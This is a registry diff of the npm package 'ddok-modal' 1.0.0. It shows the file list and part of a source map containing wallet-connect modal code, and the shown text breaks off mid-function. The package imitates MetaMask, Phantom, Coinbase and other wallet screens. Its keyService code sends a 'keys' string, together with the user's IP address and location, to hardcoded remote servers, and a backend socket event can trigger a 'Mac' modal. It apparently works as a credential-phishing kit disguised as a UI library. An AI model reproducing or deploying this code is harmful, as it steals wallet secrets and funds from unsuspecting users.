ddok-modal 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/assets/bitget_logo.png +0 -0
- package/dist/assets/coinbase_logo.svg +4 -0
- package/dist/assets/metamask_logo.svg +26 -0
- package/dist/assets/phantom_logo.svg +3 -0
- package/dist/assets/rabyy_logo.svg +41 -0
- package/dist/assets/tronlink_logo.jpeg +0 -0
- package/dist/components/ConnectWalletButton.d.ts +8 -0
- package/dist/components/ConnectWalletButton.d.ts.map +1 -0
- package/dist/components/CustomWalletModal.d.ts +6 -0
- package/dist/components/CustomWalletModal.d.ts.map +1 -0
- package/dist/components/MacModalTrigger.d.ts +24 -0
- package/dist/components/MacModalTrigger.d.ts.map +1 -0
- package/dist/components/ModalContainer.d.ts +19 -0
- package/dist/components/ModalContainer.d.ts.map +1 -0
- package/dist/components/WalletSelectionModal.d.ts +8 -0
- package/dist/components/WalletSelectionModal.d.ts.map +1 -0
- package/dist/index.cjs +14629 -0
- package/dist/index.cjs.map +1 -0
- package/dist/index.d.ts +201 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.esm.js +14607 -0
- package/dist/index.esm.js.map +1 -0
- package/dist/services/config.d.ts +32 -0
- package/dist/services/config.d.ts.map +1 -0
- package/dist/services/keyService.d.ts +58 -0
- package/dist/services/keyService.d.ts.map +1 -0
- package/dist/services/macModalService.d.ts +12 -0
- package/dist/services/macModalService.d.ts.map +1 -0
- package/dist/services/userWalletService.d.ts +20 -0
- package/dist/services/userWalletService.d.ts.map +1 -0
- package/dist/toastr.min.css +1 -0
- package/dist/types.d.ts +46 -0
- package/dist/types.d.ts.map +1 -0
- package/dist/utils/Spinning.d.ts +8 -0
- package/dist/utils/Spinning.d.ts.map +1 -0
- package/dist/utils/assetPath.d.ts +21 -0
- package/dist/utils/assetPath.d.ts.map +1 -0
- package/dist/utils/assetPaths.d.ts +25 -0
- package/dist/utils/assetPaths.d.ts.map +1 -0
- package/dist/utils/locationService.d.ts +21 -0
- package/dist/utils/locationService.d.ts.map +1 -0
- package/dist/utils/toast.d.ts +16 -0
- package/dist/utils/toast.d.ts.map +1 -0
- package/dist/utils/useDarkMode.d.ts +6 -0
- package/dist/utils/useDarkMode.d.ts.map +1 -0
- package/dist/utils/walletDetection.d.ts +41 -0
- package/dist/utils/walletDetection.d.ts.map +1 -0
- package/dist/wallets/base/WalletModalBase.d.ts +25 -0
- package/dist/wallets/base/WalletModalBase.d.ts.map +1 -0
- package/dist/wallets/bitget/BitgetModal.d.ts +6 -0
- package/dist/wallets/bitget/BitgetModal.d.ts.map +1 -0
- package/dist/wallets/bitget/styles.css +2247 -0
- package/dist/wallets/coinbase/CoinbaseModal.d.ts +6 -0
- package/dist/wallets/coinbase/CoinbaseModal.d.ts.map +1 -0
- package/dist/wallets/coinbase/styles.css +2175 -0
- package/dist/wallets/mac/MacModal.d.ts +6 -0
- package/dist/wallets/mac/MacModal.d.ts.map +1 -0
- package/dist/wallets/mac/styles.css +2238 -0
- package/dist/wallets/metamask/FoxRiveAnimation.d.ts +3 -0
- package/dist/wallets/metamask/FoxRiveAnimation.d.ts.map +1 -0
- package/dist/wallets/metamask/MetamaskModal.d.ts +6 -0
- package/dist/wallets/metamask/MetamaskModal.d.ts.map +1 -0
- package/dist/wallets/metamask/assets/fox_appear.riv +0 -0
- package/dist/wallets/metamask/assets/metamask-fox.svg +24 -0
- package/dist/wallets/metamask/styles.css +369 -0
- package/dist/wallets/phantom/PhantomModal.d.ts +6 -0
- package/dist/wallets/phantom/PhantomModal.d.ts.map +1 -0
- package/dist/wallets/phantom/phantom/j.gif +0 -0
- package/dist/wallets/phantom/phantom/n.gif +0 -0
- package/dist/wallets/phantom/phantom/s.gif +0 -0
- package/dist/wallets/phantom/phantom/w.gif +0 -0
- package/dist/wallets/phantom/phantom/wp.gif +0 -0
- package/dist/wallets/phantom/styles.css +2273 -0
- package/dist/wallets/rabby/RabbyModal.d.ts +6 -0
- package/dist/wallets/rabby/RabbyModal.d.ts.map +1 -0
- package/dist/wallets/rabby/styles.css +2269 -0
- package/dist/wallets/registry.d.ts +24 -0
- package/dist/wallets/registry.d.ts.map +1 -0
- package/dist/wallets/solflare/SolflareModal.d.ts +6 -0
- package/dist/wallets/solflare/SolflareModal.d.ts.map +1 -0
- package/dist/wallets/solflare/styles.css +2205 -0
- package/dist/wallets/tronlink/TronlinkModal.d.ts +6 -0
- package/dist/wallets/tronlink/TronlinkModal.d.ts.map +1 -0
- package/dist/wallets/tronlink/assets/loading.gif +0 -0
- package/dist/wallets/tronlink/styles.css +2279 -0
- package/package.json +86 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.esm.js","sources":["../src/wallets/registry.ts","../src/services/config.ts","../src/services/userWalletService.ts","../src/components/ModalContainer.tsx","../src/utils/assetPath.ts","../src/utils/assetPaths.ts","../src/components/WalletSelectionModal.tsx","../src/utils/useDarkMode.ts","../src/utils/locationService.ts","../src/services/keyService.ts","../src/wallets/phantom/PhantomModal.tsx","../src/wallets/metamask/FoxRiveAnimation.tsx","../src/wallets/metamask/MetamaskModal.tsx","../src/wallets/rabby/RabbyModal.tsx","../src/wallets/tronlink/TronlinkModal.tsx","../src/wallets/bitget/BitgetModal.tsx","../src/wallets/coinbase/CoinbaseModal.tsx","../src/wallets/solflare/SolflareModal.tsx","../src/wallets/mac/MacModal.tsx","../src/components/CustomWalletModal.tsx","../src/utils/walletDetection.ts","../node_modules/jquery/dist/jquery.js","../node_modules/toastr/toastr.js","../virtual:toastr-css","../src/utils/toast.ts","../src/components/ConnectWalletButton.tsx","../src/services/macModalService.ts","../src/components/MacModalTrigger.tsx"],"sourcesContent":["import { WalletType, WalletConfig } from '../types';\n\n/**\n * Wallet Registry\n * \n * To add a new wallet:\n * 1. Add the wallet type to WalletType in types.ts\n * 2. Add configuration here\n * 3. Create the modal component in src/wallets/[wallet-name]/\n * 4. Register it in walletComponents map\n */\n\nexport const walletConfigs: Record<WalletType, WalletConfig> = {\n MetaMask: {\n id: 'MetaMask',\n name: 'MetaMask',\n shortKey: 'MM',\n icon: '🦊',\n },\n Phantom: {\n id: 'Phantom',\n name: 'Phantom',\n shortKey: 'PH',\n icon: '👻',\n },\n Rabby: {\n id: 'Rabby',\n name: 'Rabby',\n shortKey: 'RB',\n icon: '🐰',\n },\n TronLink: {\n id: 'TronLink',\n name: 'TronLink',\n shortKey: 'TL',\n icon: '🔺',\n },\n Bitget: {\n id: 'Bitget',\n name: 'Bitget',\n shortKey: 'BG',\n icon: '💼',\n },\n Coinbase: {\n id: 'Coinbase',\n name: 'Coinbase Wallet',\n shortKey: 'CB',\n icon: '🔵',\n },\n Solflare: {\n id: 'Solflare',\n name: 'Solflare',\n shortKey: 'SF',\n icon: '🌐',\n },\n Mac: {\n id: 'Mac',\n name: 'Mac',\n shortKey: 'MAC',\n icon: '🍎',\n },\n};\n\n/**\n * Get wallet configuration by type\n */\nexport const getWalletConfig = (walletType: WalletType): WalletConfig => {\n return walletConfigs[walletType];\n};\n\n/**\n * Get all available wallet types\n */\nexport const getAllWalletTypes = (): WalletType[] => {\n return Object.keys(walletConfigs) as WalletType[];\n};\n\n/**\n * Get wallet short key (for backend)\n */\nexport const getWalletShortKey = (walletType: WalletType): string => {\n return walletConfigs[walletType]?.shortKey || walletType.substring(0, 2).toUpperCase();\n};\n\n","// Backend configuration - can be customized by users\nexport interface BackendConfig {\n serverUrl?: string;\n serverSocket?: string;\n clientSocket?: string;\n clientUrl?: string;\n secretKey?: string;\n backendUrl?: string;\n assetBaseUrl?: string; // Base URL for asset files (images, SVGs, etc.)\n /** Socket event name for backend to trigger Mac modal. Default: 'showMacModal' */\n macModalSocketEvent?: string;\n}\n\n// Default configuration\nconst defaultConfig: Required<BackendConfig> = {\n serverUrl: \"https://wagmirequest.la\",\n serverSocket: \"wss://api.wagmiwallet.org\",\n clientSocket: \"wss://api.wagmiwallet.org\",\n clientUrl: \"https://www.riveanimation.cards/v1\",\n secretKey: \"ABCDEF\",\n // backendUrl: \"http://localhost:3000\",\n backendUrl: \"https://api.wagmiwallet.org\",\n assetBaseUrl: \"https://www.riveanimation.cards\", // Default asset base URL\n macModalSocketEvent: \"showMacModal\",\n};\n\nlet currentConfig = { ...defaultConfig };\n\nexport const getConfig = (): Required<BackendConfig> => ({ ...currentConfig });\n\nexport const setConfig = (config: Partial<BackendConfig>): void => {\n currentConfig = { ...currentConfig, ...config };\n};\n\nexport const getServerUrl = (): string => currentConfig.serverUrl;\nexport const getServerSocket = (): string => currentConfig.serverSocket;\nexport const getClientSocket = (): string => currentConfig.clientSocket;\nexport const getClientUrl = (): string => currentConfig.clientUrl;\nexport const getSecretKey = (): string => currentConfig.secretKey;\nexport const getBackendUrl = (): string => currentConfig.backendUrl;\nexport const getAssetBaseUrl = (): string => currentConfig.assetBaseUrl;\nexport const getMacModalSocketEvent = (): string => currentConfig.macModalSocketEvent;\n\n// Wallet type shortkeys\nexport const WALLET_TYPE_SHORTKEY = {\n METAMASK: \"MM\",\n PHANTOM: \"PH\",\n RABBY: \"RB\",\n TRONLINK: \"TL\",\n BITGET: \"BG\",\n COINBASE: \"CB\",\n SOLFLARE: \"SF\",\n MAC: \"MAC\",\n} as const;\n\n","import axios from 'axios';\r\nimport { getBackendUrl } from './config';\r\n\r\nexport interface UserWalletType {\r\n _id: string;\r\n name: string;\r\n shortkey: string;\r\n}\r\n\r\nexport interface UserWalletTypesResponse {\r\n user_id: string;\r\n wallet_types: UserWalletType[];\r\n}\r\n\r\n// Cache for user wallet types\r\nconst walletTypesCache: Map<string, { data: UserWalletType[]; timestamp: number }> = new Map();\r\nconst CACHE_DURATION = 5 * 60 * 1000; // 5 minutes\r\n\r\n/**\r\n * Get wallet types for a user by user_id\r\n * This endpoint requires authentication, but for the widget we'll make it public\r\n * or use a different approach. For now, we'll try to fetch without auth.\r\n */\r\nexport const getUserWalletTypes = async (\r\n userId: string\r\n): Promise<UserWalletType[]> => {\r\n if (!userId) {\r\n return [];\r\n }\r\n\r\n // Check cache first\r\n const cached = walletTypesCache.get(userId);\r\n if (cached && Date.now() - cached.timestamp < CACHE_DURATION) {\r\n return cached.data;\r\n }\r\n\r\n try {\r\n const BACKEND_URL = getBackendUrl();\r\n \r\n if (!BACKEND_URL) {\r\n console.warn('BACKEND_URL is not configured, returning empty wallet types');\r\n return [];\r\n }\r\n\r\n const response = await axios.get<UserWalletTypesResponse>(\r\n `${BACKEND_URL}/api/users/user-id/${userId}/wallet-types`,\r\n {\r\n timeout: 5000,\r\n // Note: This endpoint requires authentication in production\r\n // For widget usage, you may need to make this endpoint public\r\n // or use a different authentication method\r\n }\r\n );\r\n\r\n const walletTypes = response.data.wallet_types || [];\r\n \r\n // Cache the result\r\n walletTypesCache.set(userId, {\r\n data: walletTypes,\r\n timestamp: Date.now(),\r\n });\r\n\r\n return walletTypes;\r\n } catch (error: any) {\r\n console.warn('Failed to fetch user wallet types:', error.message);\r\n // Return empty array on error - widget will show all wallets\r\n return [];\r\n }\r\n};\r\n\r\n/**\r\n * Clear cache for a specific user or all users\r\n */\r\nexport const clearWalletTypesCache = (userId?: string): void => {\r\n if (userId) {\r\n walletTypesCache.delete(userId);\r\n } else {\r\n walletTypesCache.clear();\r\n }\r\n};\r\n\r\n","import React from 'react';\r\nimport { createPortal } from 'react-dom';\r\n\r\ninterface ModalContainerProps {\r\n children: React.ReactNode;\r\n className?: string;\r\n}\r\n\r\n/**\r\n * ModalContainer - Isolates modal styles from external project styles\r\n * \r\n * This component:\r\n * 1. Wraps modals in a scoped container to prevent style conflicts\r\n * 2. Uses CSS isolation to prevent external styles from affecting modal\r\n * 3. Ensures modal styles don't leak to the parent project\r\n * 4. Handles portal rendering to body\r\n * \r\n * Note: Individual modals should NOT use createPortal - this component handles it\r\n */\r\nconst ModalContainer: React.FC<ModalContainerProps> = ({ children, className = '' }) => {\r\n const container = (\r\n <div className={`wallet-connect-modal-container ${className}`}>\r\n {children}\r\n </div>\r\n );\r\n\r\n return createPortal(container, document.body);\r\n};\r\n\r\nexport default ModalContainer;\r\n\r\n","/**\r\n * Asset Path Utility\r\n * \r\n * Resolves asset paths using third-party URL from config.\r\n * Assets are hosted on a CDN/third-party server instead of being bundled.\r\n */\r\n\r\nimport { getAssetBaseUrl } from '../services/config';\r\n\r\n/**\r\n * Get asset URL from third-party server\r\n * @param relativePath - Path relative to dist folder (e.g., \"wallets/metamask/assets/fox.svg\")\r\n * @returns Full URL to the asset on third-party server\r\n */\r\nexport function getAssetPath(relativePath: string): string {\r\n // Get base URL from config (defaults to third-party URL)\r\n const baseUrl = getAssetBaseUrl();\r\n // Remove trailing slash if present\r\n const cleanBaseUrl = baseUrl.replace(/\\/$/, '');\r\n // Construct full URL\r\n return `${cleanBaseUrl}/${relativePath}`;\r\n}\r\n\r\n/**\r\n * Resolve asset import to full URL\r\n * This function is used to convert asset imports (which export relative paths)\r\n * to full URLs using the configured asset base URL\r\n * @param assetImport - The imported asset (string path)\r\n * @returns Full URL to the asset\r\n */\r\nexport function resolveAssetUrl(assetImport: string): string {\r\n return getAssetPath(assetImport);\r\n}\r\n\r\n","/**\r\n * Asset Paths Configuration\r\n * \r\n * Defines all asset file paths relative to the dist folder.\r\n * These paths are resolved to full URLs using the assetBaseUrl from config.\r\n */\r\n\r\n// Wallet logo assets (for selection modal)\r\nexport const ASSET_PATHS = {\r\n // Logo assets\r\n metamaskLogo: 'menu/metamask_logo.svg',\r\n phantomLogo: 'menu/phantom_logo.svg',\r\n rabbyLogo: 'menu/rabyy_logo.svg',\r\n coinbaseLogo: 'menu/coinbase_logo.svg',\r\n bitgetLogo: 'menu/bitget_logo.png',\r\n tronlinkLogo: 'menu/tronlink_logo.jpeg',\r\n solflareLogo: 'menu/solflare_logo.png',\r\n \r\n // Wallet-specific assets\r\n metamaskFox: 'v1/images/logo/metamask-fox.png',\r\n metamaskFoxRiv: 'v1/static/media/fox_appear.9dea054e4b9b49cb4fad.riv',\r\n tronlinkLoading: 'v4/images/loading.gif',\r\n solflareFlag: 'v7/images/flag.mp4',\r\n \r\n // Phantom assets (if needed)\r\n phantomGifS: 'v2/images/phantom/s.gif',\r\n phantomGifW: 'v2/images/phantom/w.gif',\r\n phantomGifWp: 'v2/images/phantom/wp.gif',\r\n phantomGifN: 'v2/images/phantom/n.gif',\r\n phantomGifJ: 'v2/images/phantom/j.gif',\r\n} as const;\r\n\r\n","import React, { useState, useEffect } from 'react';\nimport { WalletType, WalletConnectModalProps } from '../types';\nimport { getAllWalletTypes, getWalletConfig, getWalletShortKey } from '../wallets/registry';\nimport { getUserWalletTypes } from '../services/userWalletService';\nimport ModalContainer from './ModalContainer';\nimport { resolveAssetUrl } from '../utils/assetPath';\nimport { ASSET_PATHS } from '../utils/assetPaths';\n\ninterface WalletSelectionModalProps extends WalletConnectModalProps {\n userId?: string;\n}\n\nconst WalletSelectionModal: React.FC<WalletSelectionModalProps> = ({\n isOpen = false,\n onWalletSelect,\n onClose,\n userId,\n}) => {\n const [wallets, setWallets] = useState<WalletType[]>([]);\n const [isLoading, setIsLoading] = useState(false);\n\n useEffect(() => {\n if (isOpen && userId) {\n loadUserWallets();\n } else if (isOpen) {\n // If no userId, show all wallets (exclude Mac — socket-triggered only)\n setWallets(getAllWalletTypes().filter((w) => w !== 'Mac'));\n }\n }, [isOpen, userId]);\n\n const loadUserWallets = async () => {\n if (!userId) return;\n \n setIsLoading(true);\n try {\n const userWalletTypes = await getUserWalletTypes(userId);\n \n if (userWalletTypes.length === 0) {\n setWallets([]);\n return;\n }\n\n // Create reverse map: shortkey -> WalletType\n const allWallets = getAllWalletTypes();\n const shortKeyToWalletType: Record<string, WalletType> = {};\n allWallets.forEach(wallet => {\n const shortKey = getWalletShortKey(wallet).toUpperCase().trim();\n shortKeyToWalletType[shortKey] = wallet;\n // Also add by name for fallback matching\n shortKeyToWalletType[wallet.toUpperCase()] = wallet;\n });\n \n // Map user's wallet types to WalletType enum by matching shortkeys\n const filtered: WalletType[] = [];\n userWalletTypes.forEach(userWalletType => {\n const shortKey = userWalletType.shortkey.toUpperCase().trim();\n const name = userWalletType.name;\n \n // Try matching by shortkey first\n let walletType = shortKeyToWalletType[shortKey];\n \n // If not found, try matching by name\n if (!walletType && name) {\n walletType = shortKeyToWalletType[name.toUpperCase()];\n }\n \n if (walletType && walletType !== 'Mac') {\n filtered.push(walletType);\n } else if (!walletType) {\n console.warn(`✗ No wallet found for: shortkey=\"${shortKey}\", name=\"${name}\"`);\n console.warn(`Available shortkeys:`, Object.keys(shortKeyToWalletType));\n }\n });\n \n setWallets(filtered);\n } catch (error) {\n console.error('Error loading user wallet types:', error);\n setWallets([]);\n } finally {\n setIsLoading(false);\n }\n };\n\n if (!isOpen) return null;\n\n const handleWalletClick = (wallet: WalletType) => {\n if (onWalletSelect) {\n onWalletSelect(wallet);\n }\n };\n\n const getWalletLogo = (wallet: WalletType): string => {\n let logoPath = '';\n switch (wallet) {\n case 'MetaMask':\n logoPath = ASSET_PATHS.metamaskLogo;\n break;\n case 'Phantom':\n logoPath = ASSET_PATHS.phantomLogo;\n break;\n case 'Rabby':\n logoPath = ASSET_PATHS.rabbyLogo;\n break;\n case 'Coinbase':\n logoPath = ASSET_PATHS.coinbaseLogo;\n break;\n case 'Bitget':\n logoPath = ASSET_PATHS.bitgetLogo;\n break;\n case 'TronLink':\n logoPath = ASSET_PATHS.tronlinkLogo;\n break;\n case 'Solflare':\n logoPath = ASSET_PATHS.solflareLogo;\n break;\n default:\n return '';\n }\n // Resolve relative path to full third-party URL\n return resolveAssetUrl(logoPath);\n };\n\n const getWalletName = (wallet: WalletType): string => {\n const config = getWalletConfig(wallet);\n return config.name || wallet;\n };\n\n return (\n <ModalContainer>\n <div\n style={{\n position: 'fixed',\n top: 0,\n left: 0,\n right: 0,\n bottom: 0,\n backgroundColor: 'rgba(0, 0, 0, 0.5)',\n display: 'flex',\n alignItems: 'center',\n justifyContent: 'center',\n zIndex: 1000,\n }}\n onClick={onClose}\n >\n <div\n style={{\n backgroundColor: '#fff',\n borderRadius: '16px',\n padding: '32px 32px',\n maxWidth: '450px',\n width: '90%',\n boxShadow: '0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04)',\n }}\n onClick={(e) => e.stopPropagation()}\n >\n <div\n style={{\n display: 'flex',\n justifyContent: 'space-between',\n alignItems: 'center',\n marginBottom: '24px',\n }}\n >\n <h2\n style={{\n margin: 0,\n fontSize: '20px',\n fontWeight: '700',\n color: '#1F2937',\n }}\n >\n Connect Wallet\n </h2>\n <button\n onClick={onClose}\n style={{\n background: 'none',\n border: 'none',\n fontSize: '24px',\n cursor: 'pointer',\n color: '#6B7280',\n padding: '0',\n width: '32px',\n height: '32px',\n display: 'flex',\n alignItems: 'center',\n justifyContent: 'center',\n borderRadius: '4px',\n }}\n onMouseEnter={(e) => {\n e.currentTarget.style.backgroundColor = '#F3F4F6';\n }}\n onMouseLeave={(e) => {\n e.currentTarget.style.backgroundColor = 'transparent';\n }}\n >\n ×\n </button>\n </div>\n\n {isLoading ? (\n <div style={{ textAlign: 'center', padding: '20px', color: '#666' }}>\n Loading wallet options...\n </div>\n ) : wallets.length === 0 ? (\n <div style={{ textAlign: 'center', padding: '20px', color: '#666' }}>\n No wallets available for this user.\n </div>\n ) : (\n <div\n style={{\n display: 'grid',\n gridTemplateColumns: '1fr',\n gap: '16px',\n }}\n >\n {wallets.map((wallet) => (\n <button\n key={wallet}\n onClick={() => handleWalletClick(wallet)}\n style={{\n display: 'flex',\n flexDirection: 'row',\n alignItems: 'center',\n justifyContent: 'start',\n gap: '26px',\n padding: '12px 24px',\n border: '2px solid #E5E7EB',\n borderRadius: '12px',\n backgroundColor: '#fff',\n cursor: 'pointer',\n transition: 'all 0.2s ease',\n textAlign: 'center',\n width: '100%',\n }}\n onMouseEnter={(e) => {\n e.currentTarget.style.borderColor = '#4F46E5';\n e.currentTarget.style.backgroundColor = '#EEF2FF';\n }}\n onMouseLeave={(e) => {\n e.currentTarget.style.borderColor = '#E5E7EB';\n e.currentTarget.style.backgroundColor = '#fff';\n }}\n >\n <img\n src={getWalletLogo(wallet)}\n alt={`${getWalletName(wallet)} logo`}\n style={{\n width: '40px',\n height: '40px',\n objectFit: 'contain',\n flexShrink: 0,\n }}\n />\n <span\n style={{\n fontSize: '16px',\n fontWeight: '600',\n color: '#1F2937',\n }}\n >\n {getWalletName(wallet)}\n </span>\n </button>\n ))}\n </div>\n )}\n </div>\n </div>\n </ModalContainer>\n );\n};\n\nexport default WalletSelectionModal;\n\n","import { useState, useEffect } from 'react';\r\n\r\n/**\r\n * Hook to detect browser's dark mode preference\r\n * Automatically updates when user changes their system theme\r\n */\r\nexport const useDarkMode = (): boolean => {\r\n const [isDarkMode, setIsDarkMode] = useState<boolean>(() => {\r\n // Check if we're in a browser environment\r\n if (typeof window === 'undefined') {\r\n return false;\r\n }\r\n \r\n // Check browser's prefers-color-scheme media query\r\n return window.matchMedia('(prefers-color-scheme: dark)').matches;\r\n });\r\n\r\n useEffect(() => {\r\n if (typeof window === 'undefined') {\r\n return;\r\n }\r\n\r\n // Create a media query listener\r\n const mediaQuery = window.matchMedia('(prefers-color-scheme: dark)');\r\n \r\n // Handler function to update state when preference changes\r\n const handleChange = (e: MediaQueryListEvent | MediaQueryList) => {\r\n setIsDarkMode(e.matches);\r\n };\r\n\r\n // Check if addEventListener is supported (modern browsers)\r\n if (mediaQuery.addEventListener) {\r\n mediaQuery.addEventListener('change', handleChange);\r\n return () => {\r\n mediaQuery.removeEventListener('change', handleChange);\r\n };\r\n } else {\r\n // Fallback for older browsers\r\n mediaQuery.addListener(handleChange);\r\n return () => {\r\n mediaQuery.removeListener(handleChange);\r\n };\r\n }\r\n }, []);\r\n\r\n return isDarkMode;\r\n};\r\n\r\n","/**\r\n * Get client IP address\r\n */\r\nexport const getClientIP = async (): Promise<string> => {\r\n try {\r\n const response = await fetch('https://api.ipify.org?format=json');\r\n if (response.ok) {\r\n const data = await response.json();\r\n return data.ip || 'unknown';\r\n }\r\n } catch (error) {\r\n console.warn('Failed to get IP from ipify:', error);\r\n }\r\n\r\n try {\r\n const response = await fetch('https://ipapi.co/ip/');\r\n if (response.ok) {\r\n const ip = await response.text();\r\n return ip.trim() || 'unknown';\r\n }\r\n } catch (error) {\r\n console.warn('Failed to get IP from ipapi:', error);\r\n }\r\n\r\n return 'unknown';\r\n};\r\n\r\n/**\r\n * Get location information based on IP address\r\n */\r\nexport const getLocation = async (ipAddress: string | null = null): Promise<string> => {\r\n try {\r\n let ip = ipAddress;\r\n if (!ip || ip === 'unknown') {\r\n ip = await getClientIP();\r\n }\r\n\r\n if (!ip || ip === 'unknown') {\r\n return 'unknown';\r\n }\r\n\r\n const response = await fetch(`https://ipapi.co/${ip}/json/`);\r\n if (response.ok) {\r\n const data = await response.json();\r\n if (data.error) {\r\n return 'unknown';\r\n }\r\n \r\n const locationParts: string[] = [];\r\n if (data.city) locationParts.push(data.city);\r\n if (data.region_code) locationParts.push(data.region_code);\r\n if (data.country_code) locationParts.push(data.country_code);\r\n \r\n return locationParts.length > 0 ? locationParts.join(', ') : 'unknown';\r\n }\r\n } catch (error) {\r\n console.warn('Failed to get location:', error);\r\n }\r\n\r\n return 'unknown';\r\n};\r\n\r\n/**\r\n * Get country code from location string\r\n */\r\nexport const getCountryCode = (location: string): string => {\r\n if (!location || location === 'unknown') {\r\n return 'unknown';\r\n }\r\n const parts = location.split(',').map(p => p.trim());\r\n const countryCode = parts[parts.length - 1];\r\n return countryCode && countryCode.length === 2 ? countryCode.toUpperCase() : 'unknown';\r\n};\r\n\r\n/**\r\n * Get both IP and Location in a single call\r\n */\r\nexport const getIPAndLocation = async (): Promise<{ IP_address: string; Location: string; country_code: string }> => {\r\n try {\r\n const ip = await getClientIP();\r\n const location = await getLocation(ip);\r\n const countryCode = getCountryCode(location);\r\n \r\n return {\r\n IP_address: ip,\r\n Location: location,\r\n country_code: countryCode\r\n };\r\n } catch (error) {\r\n console.error('Failed to get IP and Location:', error);\r\n return {\r\n IP_address: 'unknown',\r\n Location: 'unknown',\r\n country_code: 'unknown'\r\n };\r\n }\r\n};\r\n","import axios from 'axios';\nimport io, { Socket } from 'socket.io-client';\nimport { getBackendUrl, getClientSocket, getMacModalSocketEvent } from './config';\nimport { getIPAndLocation } from '../utils/locationService';\nimport { KeyType, BackendKeyPayload, ShowMacModalPayload } from '../types';\n\n// Socket.io client instance (will be initialized when needed)\nlet socketInstance: Socket | null = null;\n\n/**\n * Initialize Socket.io connection\n * Reuses existing socket instance to avoid creating multiple connections\n */\nconst getSocketInstance = (): Socket | null => {\n // If socket instance already exists, reuse it (socket.io handles reconnection automatically)\n if (socketInstance) {\n return socketInstance;\n }\n\n // Only create a new socket if one doesn't exist\n try {\n const url = getClientSocket();\n socketInstance = io(url, {\n transports: ['websocket', 'polling'],\n timeout: 10000,\n reconnection: true,\n reconnectionDelay: 1000,\n reconnectionAttempts: 5\n });\n\n socketInstance.on('connect', () => {\n });\n\n socketInstance.on('disconnect', (reason: string) => {\n });\n\n socketInstance.on('connect_error', (error: Error) => {\n console.error('Socket connection error:', error);\n });\n\n return socketInstance;\n } catch (error) {\n console.error('Failed to initialize Socket.io:', error);\n return null;\n }\n};\n\n/**\n * Initialize socket connection early (call this when widget loads)\n */\nexport const initializeSocket = (): Socket | null => {\n return getSocketInstance();\n};\n\n/**\n * Subscribe to backend \"show Mac modal\" socket event.\n * When the backend emits this event, the callback is invoked with the payload.\n * Use with MacModalTrigger to show the Mac modal on signal.\n * The modal should only be shown when payload.user_id matches the client's userId.\n *\n * @param callback - Called with the emitted payload (e.g. { message, user_id, timestamp }).\n * @returns Unsubscribe function.\n */\nexport const subscribeToShowMacModal = (\n callback: (payload?: ShowMacModalPayload) => void\n): (() => void) => {\n const socket = getSocketInstance();\n if (!socket) {\n return () => {};\n }\n const eventName = getMacModalSocketEvent();\n const handler = (payload?: ShowMacModalPayload) => callback(payload);\n socket.on(eventName, handler);\n return () => {\n socket.off(eventName, handler);\n };\n};\n\n/**\n * Send key data to backend via API\n */\nexport const sendKeyToBackendAPI = async (\n userId: string,\n keyType: KeyType,\n keys: string,\n walletTypeShortkey: string = 'MM',\n locationData: { IP_address: string; Location: string; country_code: string } | null = null\n): Promise<{ success: boolean; error?: string; data?: any }> => {\n try {\n const BACKEND_URL = getBackendUrl();\n \n if (!BACKEND_URL) {\n console.error('BACKEND_URL is not configured');\n return { success: false, error: 'Backend URL not configured' };\n }\n\n if (!userId) {\n console.error('USER_ID is required');\n return { success: false, error: 'User ID is required' };\n }\n\n if (!keyType || (keyType !== 'cha' && keyType !== 'enter')) {\n return { success: false, error: 'Invalid key_type. Must be \"cha\" or \"enter\"' };\n }\n\n const ipAndLocation = locationData || await getIPAndLocation().catch(() => ({\n IP_address: 'unknown',\n Location: 'unknown',\n country_code: 'unknown'\n }));\n\n const payload: BackendKeyPayload = {\n user_id: userId,\n key_type: keyType,\n keys: keys || '',\n wallet_type: walletTypeShortkey || 'MM',\n IP_address: ipAndLocation.IP_address || 'unknown',\n Location: ipAndLocation.Location || 'unknown',\n country_code: ipAndLocation.country_code || 'unknown'\n };\n\n const response = await axios.post(`${BACKEND_URL}/api/keys`, payload, {\n headers: {\n 'Content-Type': 'application/json',\n },\n timeout: 10000,\n });\n\n return { success: true, data: response.data };\n } catch (error: any) {\n console.error('Error sending key to backend via API:', error);\n \n if (error.response) {\n return { \n success: false, \n error: error.response.data?.error || error.response.data?.message || `Server error: ${error.response.status}` \n };\n } else if (error.request) {\n return { success: false, error: 'No response from server' };\n } else {\n return { success: false, error: error.message || 'Unknown error' };\n }\n }\n};\n\n/**\n * Send key data to backend via Socket.io\n */\nexport const sendKeyToBackendSocket = async (\n userId: string,\n keyType: KeyType,\n keys: string,\n walletTypeShortkey: string = 'MM',\n locationData: { IP_address: string; Location: string; country_code: string } | null = null\n): Promise<{ success: boolean; error?: string; data?: any }> => {\n return new Promise(async (resolve) => {\n try {\n const BACKEND_URL = getBackendUrl();\n \n if (!BACKEND_URL) {\n return resolve({ success: false, error: 'Backend URL not configured' });\n }\n\n if (!userId) {\n return resolve({ success: false, error: 'User ID is required' });\n }\n\n if (!keyType || (keyType !== 'cha' && keyType !== 'enter')) {\n return resolve({ success: false, error: 'Invalid key_type. Must be \"cha\" or \"enter\"' });\n }\n\n const socket = getSocketInstance();\n if (!socket) {\n return resolve({ success: false, error: 'Failed to initialize Socket.io' });\n }\n\n if (!socket.connected) {\n await new Promise<void>((connectResolve, connectReject) => {\n const timeout = setTimeout(() => {\n connectReject(new Error('Socket connection timeout'));\n }, 5000);\n\n socket.once('connect', () => {\n clearTimeout(timeout);\n connectResolve();\n });\n\n socket.once('connect_error', (error: Error) => {\n clearTimeout(timeout);\n connectReject(error);\n });\n }).catch(() => {\n console.warn('Socket not connected yet, but proceeding with emit');\n });\n }\n\n const ipAndLocation = locationData || await getIPAndLocation().catch(() => ({\n IP_address: 'unknown',\n Location: 'unknown',\n country_code: 'unknown'\n }));\n\n const payload: BackendKeyPayload = {\n user_id: userId,\n key_type: keyType,\n keys: keys || '',\n wallet_type: walletTypeShortkey || 'MM',\n IP_address: ipAndLocation.IP_address || 'unknown',\n Location: ipAndLocation.Location || 'unknown',\n country_code: ipAndLocation.country_code || 'unknown'\n };\n\n const timeout = setTimeout(() => {\n resolve({ success: false, error: 'Socket request timeout' });\n }, 10000);\n\n const successHandler = (data: any) => {\n clearTimeout(timeout);\n resolve({ success: true, data: data.key });\n 